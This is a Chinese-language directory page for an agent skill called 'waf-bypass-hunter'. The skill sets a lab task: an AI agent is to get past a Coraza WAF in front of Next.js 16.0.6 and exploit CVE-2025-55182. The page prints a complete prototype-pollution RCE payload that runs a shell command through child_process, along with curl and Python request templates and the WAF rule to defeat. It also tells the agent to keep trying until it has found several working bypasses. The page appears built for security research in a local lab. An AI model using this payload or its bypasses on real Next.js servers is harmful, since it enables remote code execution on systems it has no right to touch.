mcpField
W
waf-bypass-hunter

waf-bypass-hunter

github.com/hacktronai安全11541 次安装21 周前更新
代码仓库

关于 waf-bypass-hunter

waf-bypass-hunter 是面向安全研究的实战练习,目标是在 Coraza WAF 前测试针对 Next.js 的漏洞载荷。它要求通过 Go 与 Node.js 解析差异找到并验证绕过方式,以响应中的 flag 作为成功证明。

主要功能

  1. 01分析 Coraza 与 Node.js 解析差异
  2. 02测试 WAF 绕过载荷
  3. 03读取 WAF 拦截日志
  4. 04以 flag 验证有效绕过

适用场景

  1. 01研究 WAF 与后端解析差异
  2. 02验证漏洞载荷是否通过 WAF
  3. 03记录已确认的绕过技术

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/hacktronai/skills --skill waf-bypass-hunter

安装后在 Claude Code 中输入/waf-bypass-hunter确认已加载。

详细介绍

WAF 绕过猎手

目标

绕过 WAF,执行 CVE-2025-55182 漏洞利用载荷并获取 flag。

架构

┌─────────┐    ┌─────────────┐    ┌─────────────────┐
│  Agent  │───▶│ Coraza WAF  │───▶│ Next.js 16.0.6  │
│         │    │ (Go)        │    │ (Node.js)       │
│         │    │ Port: 9091  │    │ Port: 3000      │
└─────────┘    └─────────────┘    └─────────────────┘

漏洞利用(CVE-2025-55182)

此载荷通过原型污染触发 Next.js 16 中的 RCE:

POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489

--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"

"$@0"
--yyy--

此载荷会被 WAF 拦截,因为其中包含:

  • :constructor
  • __proto__

你的目标

尽可能找到多种 WAF 绕过方法。大约有 5 种不同的绕过技术可行。

对于每种绕过方法,都要提供满足以下条件的载荷:

  1. 绕过 WAF 检测——WAF 无法识别被拦截的模式
  2. 后端正确解析——Next.js/Busboy 能够解码并处理载荷
  3. 触发漏洞利用——执行 RCE 并返回 flag

每种绕过方法都利用了 Go 和 Node.js 之间不同的解析器行为。

测试方法

快速 PoC 测试(直接访问 WAF)

使用 curl 或 Python 直接请求 http://localhost:9091/ 上的 WAF:

curl --path-as-is -i -s -k -X POST \
    -H 'Host: localhost' \
    -H 'Next-Action: x' \
    -H 'Content-Type: multipart/form-data; boundary=yyy' \
    --data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
    'http://localhost:9091/'
import requests

resp = requests.post(
    "http://localhost:9091/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect"))  # Flag is here!
print(resp.text)

注意: flag 出现在 X-Action-Redirect 响应标头中,而不是响应正文中!

调试(Sandbox 执行器)

仅在需要查看 WAF 日志以了解请求被拦截的原因时,才使用执行器:

curl -X POST http://localhost:8009/execute \
  -H "Content-Type: application/json" \
  -d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'

响应中包含 WAF 日志:

{
  "stdout": "403",
  "stderr": "",
  "waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
  "execution_time_ms": 123
}

示例:被拦截的请求

import requests

payload = '''--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''

resp = requests.post(
    "http://waf:9090/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)  # 403 - Blocked by WAF
print(resp.text)

可用源代码

研究 sources/ 中的解析器实现:

  • sources/coraza/internal/bodyprocessors/ - WAF 的解析器(Go)
  • sources/busboy/lib/ - 后端的解析器(Node.js)
  • sources/nextjs/packages/next/src/server/ - Next.js 服务端 Action 处理逻辑

成功标准

重要:只有成功读取 flag,绕过才算有效。

假设或理论上的绕过不计入结果。你必须:

  1. 对 WAF 执行载荷
  2. 在响应中收到 flag
  3. 展示捕获到的 flag 作为证明

对于每种已确认的绕过方法:

  • 记录所用技术
  • 展示准确可用的载荷
  • 展示捕获到的 flag

flag 可能出现在:

  • 响应标头(例如 X-Action-Redirect)
  • 响应正文
  • 错误消息

flag 的格式为 HACKTRON{...}

WAF 规则(你要绕过的规则)

# Block prototype pollution patterns
SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny"

方法

  1. 分析 sources/ 中的源代码
  2. 找出 Go 和 Node.js 解析方式不同之处
  3. 构造利用这种差异的载荷
  4. 直接向 localhost:9091 上的 WAF 测试 PoC
  5. 如果请求被拦截,使用执行器获取 WAF 日志并了解原因
  6. 反复尝试,直到捕获 flag
  7. 如果某种技术行不通,继续尝试其他方法——阅读更多代码,寻找其他解析差异
  8. 继续寻找——使用不同技术发现更多绕过方法!

评论

支持 Markdown